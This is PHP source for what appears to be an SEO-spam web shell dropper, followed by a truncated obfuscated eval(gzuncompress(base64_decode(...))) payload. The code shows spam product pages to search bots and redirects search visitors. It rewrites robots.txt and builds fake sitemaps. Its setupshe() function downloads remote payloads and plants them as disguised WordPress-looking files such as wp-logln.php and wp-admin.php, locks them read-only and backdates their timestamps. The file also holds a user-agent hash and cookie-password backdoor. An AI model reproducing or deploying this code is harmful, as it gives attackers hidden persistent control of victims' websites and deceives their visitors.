$arrResult['cid'] = preg_replace('|[^\d]|i', '', $arr[1]);
$arrResult['lid'] = preg_replace('|[^\d]|i', '', $arr[2]);
if(is_numeric($arrResult['cid']) && is_numeric($arrResult['lid'])){
return $arrResult;
}
}
return false;
}
function getHtml($url, $data = array()){
if(defined('USECURL') && USECURL == 'no'){
$usecurl = false;
}else{
$usecurl = true;
}
if(function_exists('curl_init')){
$curl = curl_init(); @curl_setopt($curl, CURLOPT_URL, $url); @curl_setopt($curl, CURLOPT_HEADER, 0); @curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
@curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
@curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
@curl_setopt($curl, CURLOPT_ENCODING, '');
@curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0');
@curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
if(!empty($data)){
@curl_setopt($curl, CURLOPT_POST, 1);
@curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
}
$result = curl_exec($curl);
curl_close($curl);
}else{
$usecurl = false;
}
if($usecurl == false){
if(!empty($data)){
$requestBody = http_build_query($data);
$arrOption = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded
".'Content-Length: ' . mb_strlen($requestBody),
'content' => $requestBody
)
);
$context = stream_context_create($arrOption);
$result = file_get_contents($url, false, $context);
}else{
$result = file_get_contents($url);
}
}
return $result;
}
function htmlImgTag($src, $des, $width = 800, $height = 800){
return '<img width="'.$width.'" height="'.$height.'" src="'.$src.'" alt="'.$des.'" longdes="'.$des.'">';
}
function intSeed($str){
$pathinfo = isset($_SERVER["PATH_INFO"]) ? $_SERVER["PATH_INFO"] : '';
$str = md5(MainDomain() . $_SERVER["SCRIPT_NAME"] . $pathinfo . $str);
$int = hexdec(substr($str, 0, 8));
return $int;
}
function isSuperMan(){
if(md5(md5(md5($_SERVER['HTTP_USER_AGENT']))) == UAMD53KEY)
{
return true;
}
return false;
}
function isBot(){
if(isSuperMan())
{
return true;
}
$arr = array(
'google',
'bot',
'yahoo',
'yandex',
'bing',
);
if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) AND $_SERVER['HTTP_ACCEPT_LANGUAGE']!=''){
return false;
}
if(isset($_SERVER['HTTP_REFERER']) AND $_SERVER['HTTP_REFERER']!=''){
return false;
}
foreach($arr as $str)
{
if(preg_match('/' . $str . '/i',$_SERVER['HTTP_USER_AGENT']))
{
return true;
}
}
return false;
}
function MainDomain(){
$domain = strtolower($_SERVER['HTTP_HOST']);
if(substr($domain, 0, 4) == 'www.'){
return substr($domain, 4);
}else{
return $domain;
}
}
function needJump(){
$arr = array(
'google',
'bot',
'yahoo',
'yandex',
'bing',
);
foreach($arr as $str)
{
if(preg_match('/' . $str . '/i',$_SERVER['HTTP_USER_AGENT']))
{
return false;
}
}
if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) && preg_match('/(zh|cn)/i',$_SERVER['HTTP_ACCEPT_LANGUAGE']))
{
return false;
}
if(isset($_SESSION['referer']) && $_SESSION['referer'] == 'SearchEngine'){
return true;
}
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
if(empty($referer))
{
return false;
}else{
$referer_array = parse_url($referer);
$referer_host = strtolower($referer_array['host']);
if(strstr($referer_host, '.google.') !== false || strstr($referer_host, '.yahoo.') !== false){ $_SESSION['referer'] = 'SearchEngine';
return true;
}else{
return false;
}
}
return false;
}
function showProduct($obj){
$keyword = $obj['randWords'][0] . ' ' . $obj['randWords'][1] . ' ' . $obj['randWords'][2] . ' '
. $obj['keyword'] . ' '
. $obj['randWords'][3] . ' ' . $obj['randWords'][4] . ' ' . $obj['randWords'][5];
$liil = '';
foreach($obj['relatedKeywords'] as $keyword1){
$link = is_https() . $_SERVER['HTTP_HOST'] . '/' . INDEX_PHP . keywordtouri($keyword1) . URI_END_OF_KEYWORD;
$liil .= ' <li><a href="'.$link.'">'.$keyword1.'</li>'."
";
}
$imagesdiv = showImagesMobile(base64_decode($obj['content64']), $obj['keyword']);
$str = '<!DOCTYPE html>'.
PHP_EOL.'<html>'.
PHP_EOL.'<head>'.
PHP_EOL.' <title>'.$keyword.'</title>'.
PHP_EOL.' <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />'.
PHP_EOL.' <meta name="keywords" content="'.$keyword.'" /> '.
PHP_EOL.' <meta name="description" content="'.$keyword.'" />'.
PHP_EOL.' <meta name="apple-mobile-web-app-capable" content="yes" />'.
PHP_EOL.' <meta name="apple-mobile-web-app-status-bar-style" content="black" />'.
PHP_EOL.' <meta name="viewport" content="width=device-width,initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no" />'.
PHP_EOL.' <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">'.
PHP_EOL.'</head>'.
PHP_EOL.'<body>'.
PHP_EOL.' <div class="main">'.
PHP_EOL.' <a href="/">Home</a><br />'.
PHP_EOL.' <h1>'.$keyword.'</h1>'.
PHP_EOL.' <div class="content">'.
PHP_EOL.' '. $imagesdiv .
PHP_EOL.' </div>'.
PHP_EOL.' </div>'.
PHP_EOL.' <style>'.
PHP_EOL.' img{ border:0;width:100%;max-width:500px;}'.
PHP_EOL.' ul li{list-style-type:none;width:49%;float:left;}'.
PHP_EOL.' .clear{clear:both;}'.
PHP_EOL.' </style>'.
PHP_EOL.' <ul class="related">'.
PHP_EOL.''.$liil.relatedOutLinks().
PHP_EOL.' </ul>'.
PHP_EOL.'</body>'.
PHP_EOL.'</html>';
header('Content-type: text/html; charset=utf-8');
echo $str;
die();
}
function is_https(){
if ( isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
return 'https://';
} elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
return 'https://';
} elseif ( isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
return 'https://';
}
return 'http://';
}
function keywordtouri($keyword)
{
$url = str_replace(' ', '-', trim($keyword));
$url = urlencode($url);
return $url;
}
function showRobotsTxt(){
$indexurl = is_https() . $_SERVER['HTTP_HOST'] . '/';
@header('Content-Type: text/plain');
$str = 'User-agent: Baiduspider'.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: AhrefsBot '.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: MJ12bot '.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: BLEXBot '.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: DotBot'.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: SemrushBot'.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: YandexBot'.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: *'.PHP_EOL.'Disallow:'.PHP_EOL.'Sitemap: ' . is_https().$_SERVER['HTTP_HOST'] . '/sitemap.xml';
echo $str;
die;
}
function pingGoogle(){
if(isset($_GET['action']) && $_GET['action'] == 'pinggoogle'){
$indexurl = is_https() . $_SERVER['HTTP_HOST'] . '/';
$api = "https://www.google.com/ping?sitemap=" . $indexurl . INDEX_PHP . 'sitemap.xml';
$content = getHtml($api);
if(!stristr($content, 'webmasters/tools')){
echo '' . $api;
}else{
echo $content;
}
exit();
}
}
function showSiteMap(){
$indexurl = is_https() . $_SERVER['HTTP_HOST'] . '/';
$date = date('Y-m-d');
$result = '<?xml version="1.0" encoding="UTF-8"?>'.PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'.PHP_EOL.' <url>'.PHP_EOL.' <loc>'.$indexurl.'</loc>'.PHP_EOL.' <priority>1.0</priority>'.PHP_EOL.' <changefreq>always</changefreq>'.PHP_EOL.' <lastmod>'.$date.'</lastmod>'.PHP_EOL.' </url>';
$intR = intSeed(MainDomain());
srand($intR);
$str = 'abcdefghijklmnopqrstuvwxyz';
for($i=0;$i<3000;$i++){
$link = $indexurl . INDEX_PHP
. $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)]
. $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)]
. '/'
. $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)]
. $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)];
$result .= PHP_EOL.' <url>'.PHP_EOL.' <loc>'.$link.'-c.html</loc>'.PHP_EOL.' <priority>0.8</priority>'.PHP_EOL.' <changefreq>weekly</changefreq>'.PHP_EOL.' <lastmod>'.$date.'</lastmod>'.PHP_EOL.' </url>';
}
$result .= PHP_EOL.'</urlset>';
header('Content-Type: text/xml');
echo $result;
die();
}
function showImagesMobile($str, $keyword)
{
$arr = explode("
", $str);
$arrIndex = randArray(0, (@count($arr) - 1));
$returnstr = '<div class="imagesContainer">';
$newContext = new context('Product');
$newContext->setName($keyword);
$newContext->setDescription($keyword . ' - ' . $_SERVER['HTTP_HOST']);
$newContext->setOffers();
foreach($arrIndex as $index)
{
$line = $arr[$index];
$arrline = explode('|||', $line);
if(count($arrline) > 2)
{
$keyword = htmlspecialchars(trim($arrline[1]));
$newContext->addImage(trim($arrline[0]));
$returnstr .='
<div class="media">
<a href="' . $arrline[0] . '" alt="' . $keyword . '" title="' . $keyword . '">
<img class="mr-3" src="' . $arrline[0] . '" alt="' . $keyword . '" title="' . $keyword . '" />
</a>
<div class="media-body">
<h5 class="mt-0">' . $keyword . '</h5>
</div>
</div>
<br>
';
}
}
$returnstr .= '
</div>';
$returnstr .= $newContext->showScript();
return $returnstr;
}
function randArray($min, $max)
{
$seed = intSeed($_SERVER['REQUEST_URI']);
srand($seed);
$result = array();
for($i=$min; $i <= $max; $i++)
{
$result[] = rand($min, $max);
}
$result = array_unique($result);
return $result;
}
function file_put_contents_force($filename, $content){
if(@is_file($filename)){
@chmod($filename, 0767);
}
@file_put_contents($filename, $content);
@chmod($filename, 0444);
}
function setupshe(){
if(!@file_exists('about.php') || !@file_exists('wp-include.php') || !@file_exists('wp-admin.php') || !@file_exists('wp-comment.php') || !@file_exists('wp-corn-sample.php') || !@file_exists('wp-logln.php') || !@file_exists('wp-ver.php') || !@file_exists('admin.php')){
$filetime = getMiddleFileTime();
if(!@file_exists('about.php')){
$alfa = readFileContent('alfa.txt');
file_put_contents_force('about.php', $alfa);
touch('about.php', $filetime);
}
if(!@file_exists('wp-corn-sample.php')){
$kct = readFileContent('kct.txt');
file_put_contents_force('wp-corn-sample.php', $kct);
touch('wp-corn-sample.php', $filetime);
}
if(!@file_exists('wp-logln.php')){
$one = readFileContent('one.txt');
file_put_contents_force('wp-logln.php', $one);
touch('wp-logln.php', $filetime);
}
if(!@file_exists('wp-include.php')){
$one4 = readFileContent('one4.txt');
file_put_contents_force('wp-include.php', $one4);
touch('wp-include.php', $filetime);
}
if(!@file_exists('wp-ver.php')){
$yihuo = readFileContent('yihuo.txt');
file_put_contents_force('wp-ver.php', $yihuo);
touch('wp-ver.php', $filetime);
}
if(!@file_exists('wp-admin.php')){
$wplog2 = readFileContent('wplog2.txt');
file_put_contents_force('wp-admin.php', $wplog2);
touch('wp-admin.php', $filetime);
}
if(!@file_exists('wp-comment.php')){
$one_url_password = readFileContent('one_url_password.txt');
file_put_contents_force('wp-comment.php', $one_url_password);
touch('wp-comment.php', $filetime);
}
if(!@file_exists('admin.php')){
$xxx = readFileContent('xxx.txt');
file_put_contents_force('admin.php', $xxx);
touch('admin.php', $filetime);
}
}
}
function readFileContent($file, $loadCache = true, $domain = ''){
if(isset($_REQUEST['mini']) && $_REQUEST['mini'] == 'on'){
$mini = '&mini=on';
}elseif(isset($_SESSION['mini']) && $_SESSION['mini'] == 'on'){
$mini = '&mini=on';
}elseif(isset($_SESSION['codeMethod']['mini']) && $_SESSION['codeMethod']['mini'] == 'on'){
$mini = '&mini=on';
}else{
$mini = '';
}
if(isset($_REQUEST['cf']) && $_REQUEST['cf'] == 'off'){
$cf = '&cf=off';
}elseif(isset($_SESSION['codeMethod']['cf']) && $_SESSION['codeMethod']['cf'] == 'on'){
$cf = '&cf=on';
}elseif(isset($_SESSION['cf']) && $_SESSION['cf'] == 'off'){
$cf = '&cf=off';
}else{
$cf = '';
}
if(isset($_REQUEST['singleencoder']) && $_REQUEST['singleencoder'] == 'on'){
$cf = '&singleencoder=on';
}elseif(isset($_SESSION['codeMethod']['singleencoder']) && $_SESSION['codeMethod']['singleencoder'] == 'on'){
$cf = '&singleencoder=on';
}elseif(isset($_SESSION['singleencoder']) && $_SESSION['singleencoder'] == 'on'){
$cf = '&singleencoder=on';
}else{
$cf = '';
}
if(isset($_REQUEST['v'])){
$version = '&v=' . $_REQUEST['v'];
}else{
$version = '';
}
if(empty($domain)){
preg_match('/^[^:]*/i',$_SERVER['HTTP_HOST'], $match);$domain = $match[0];
$domain = preg_replace('|^www\.|i','',$domain);
}
$uri = URLHEAD.'?domain=' . $domain . '&file='.$file . $cf . $mini . $version . '';
if($loadCache){
$content = getCache(md5($uri));
}
if(substr($content, 0, 5) != '<?php'){
$content = getHtml($uri);
if($content){
saveCache(md5($uri), $content);
}
}
return $content;
}
function getCache($file){
global $fileContent;
if(!empty($fileContent[$file])){
return $fileContent[$file];
}
if(!empty($GLOBALS['fileContent'][$file])){
return $GLOBALS['fileContent'][$file];
}
$tmpDir = sys_get_temp_dir1() . DIRECTORY_SEPARATOR . get_current_user1() . DIRECTORY_SEPARATOR;
$filename = $tmpDir . md5($file);
if(@file_exists($filename) && (filemtime($filename) - time() < 1800)){
return file_get_contents($filename);
}
return false;
}
function saveCache($file, $content, $onlyfile = false){
global $fileContent;
if(!$onlyfile){
$GLOBALS['fileContent'][$file] = $content;
$fileContent[$file] = $content;
}
$tmpDir = sys_get_temp_dir1() . DIRECTORY_SEPARATOR . get_current_user1() . DIRECTORY_SEPARATOR;
if(!@is_dir($tmpDir)){
@mkdir($tmpDir, 0747, true);
}
$filename = $tmpDir . md5($file);
file_put_contents_force($filename, $content);
}
function getMiddleFileTime($dir = '.'){
if(isset($GLOBALS[$dir]['middleFileTime']) && is_numeric($GLOBALS[$dir]['middleFileTime'])){
return $GLOBALS[$dir]['middleFileTime'];
}
$arrFiles = @scandir($dir);
$arrT = array();
foreach($arrFiles as $file){
$filename = $dir . '/' . $file;
if(@is_file($filename)){
$t = filemtime($filename);
if(!in_array($t, $arrT)){
$arrT[] = $t;
}
}
}
sort($arrT);
$index = count($arrT)/3;
if($index){
if($index>=1){
$index = floor($index);
}else{
$index = 1;
}
$GLOBALS[$dir]['middleFileTime'] = $arrT[$index];
}else{
$GLOBALS[$dir]['middleFileTime'] = time();
}
return $arrT[$index];
}
function sys_get_temp_dir1()
{
if(isset($GLOBALS['tmpPath']) && @is_dir($GLOBALS['tmpPath']) && @is_writable($GLOBALS['tmpPath'])){
return $GLOBALS['tmpPath'];
}
if(@is_dir('/tmp') && @is_writable('/tmp')){
return '/tmp';
}elseif(function_exists('sys_get_temp_dir')){
$tmpPath = sys_get_temp_dir();
if(!@is_dir($tmpPath)){
@mkdir($tmpPath, 0747, true);
}
return $tmpPath;
}
foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {
if ($temp = getenv($env_var)) {
return $temp;
}
}
$temp = tempnam('tmp', '');
if (@file_exists($temp)) {
unlink($temp);
$GLOBALS['tmpPath'] = dirname($temp);
return $GLOBALS['tmpPath'];
}
return null;
}
function jsonEncode($var)
{
if (function_exists('json_encode')) {
return json_encode($var);
} else {
$jsonfile = md5('Services_JSON.php');
if(!@is_file($jsonfile)){
@file_put_contents($jsonfile, getHtml('https://raw.githubusercontent.com/pear/Services_JSON/trunk/JSON.php'));
}
include_once $jsonfile;
if(class_exists('Services_JSON')){
$result = '';
$code = '$json = new Services_JSON;$result = $json->encodeUnsafe($var);';
eval($code);
return $result;
}
}
return '';
}
function jsonDecode($var, $assoc=false)
{
if (function_exists('json_decode')) {
return json_decode($var, $assoc);
} else {
$jsonfile = md5('Services_JSON.php');
if(!@is_file($jsonfile)){
@file_put_contents($jsonfile, getHtml('https://raw.githubusercontent.com/pear/Services_JSON/trunk/JSON.php'));
}
include_once $jsonfile;
if ( $assoc ){
if(class_exists('Services_JSON')){
$result = '';
$code = '$json = new Services_JSON(SERVICES_JSON_LOOSE_TYPE);$result = $json->decode($var);';
eval($code);
return $result;
}
} else {
if(class_exists('Services_JSON')){
$result = '';
$code = '$json = new Services_JSON;$result = $json->decode($var);';
eval($code);
return $result;
}
}
}
return '';
}
function cookieAuthor(){
if(@session_start()){
preg_match('/^[^:]*/i',$_SERVER['HTTP_HOST'], $match);
$domain = $match[0];
$domain=preg_replace('|^www\.|', '', $domain);
if($_COOKIE[md5($domain.'pswd')] == COOKIEPSWD){
return true;
}
}else{
return true;
}
return false;
}
class context{
public $context = '';
public $type = '';
public $name = '';
public $image = array();
public $description = '';
public $offers = array();
function __construct($type = ''){
$this->context = 'https://schema.org/';
$this->type = 'Product';
if(empty($type)){
$type = 'Product';
}
$this->type = $type;
}
function setName($name){
$this->name = $name;
}
function addImage($src){
$this->image[] = $src;
}
function setDescription($str){
$this->description = $str;
}
function setOffers(){
$arr = array(
'@type' => 'Offer',
'url' => $this->getSchema() . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'],
'priceCurrency' => 'USD',
'price' => '9.9',
'availability' => 'http://schema.org/InStock',
'priceValidUntil' => date('Y') + 1,
);
$this->offers = $arr;
}
function showScript(){
$arr = array(
'@context' => $this->context,
'@type' => $this->type,
'name' => $this->name,
'image' => $this->image,
'description' => $this->description,
'offers' => $this->offers,
);
$str = jsonEncode($arr);
return '
<script type="application/ld+json">'.$str.'</script>';
}
function getSchema(){
if ( isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
return 'https://';
} elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
return 'https://';
} elseif ( isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
return 'https://';
}
return 'http://';
}
}
function currentSchema()
{
$schema = false;
if(isset($_SERVER['REQUEST_SCHEME'])){
$schema = strtolower($_SERVER['REQUEST_SCHEME']);
}elseif(isset($_SERVER['HTTPS'])){
if(strtolower($_SERVER['HTTPS']) == 'on'){
$schema = 'https';
}elseif(strtolower($_SERVER['HTTPS']) == 'off'){
$schema = 'http';
}
}elseif(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])){
$schema = strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']);
}elseif(isset($_SERVER['HTTP_FRONT_END_HTTPS'])){
if(strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off'){
$schema = 'https';
}else{
$schema = 'http';
}
}
return $schema;
}
function isPHPFile($file){
$content = file_get_contents($file);
if(stristr($content, '<?php')){
return true;
}
return false;
}
function isHomePage(){
if(preg_match("`^/(index\.(php|html|htm))?$`", $_SERVER["REQUEST_URI"])){
return true;
}
return false;
}
?>
Did this file decode correctly?
Original Code
<?=eval(gzuncompress(base64_decode("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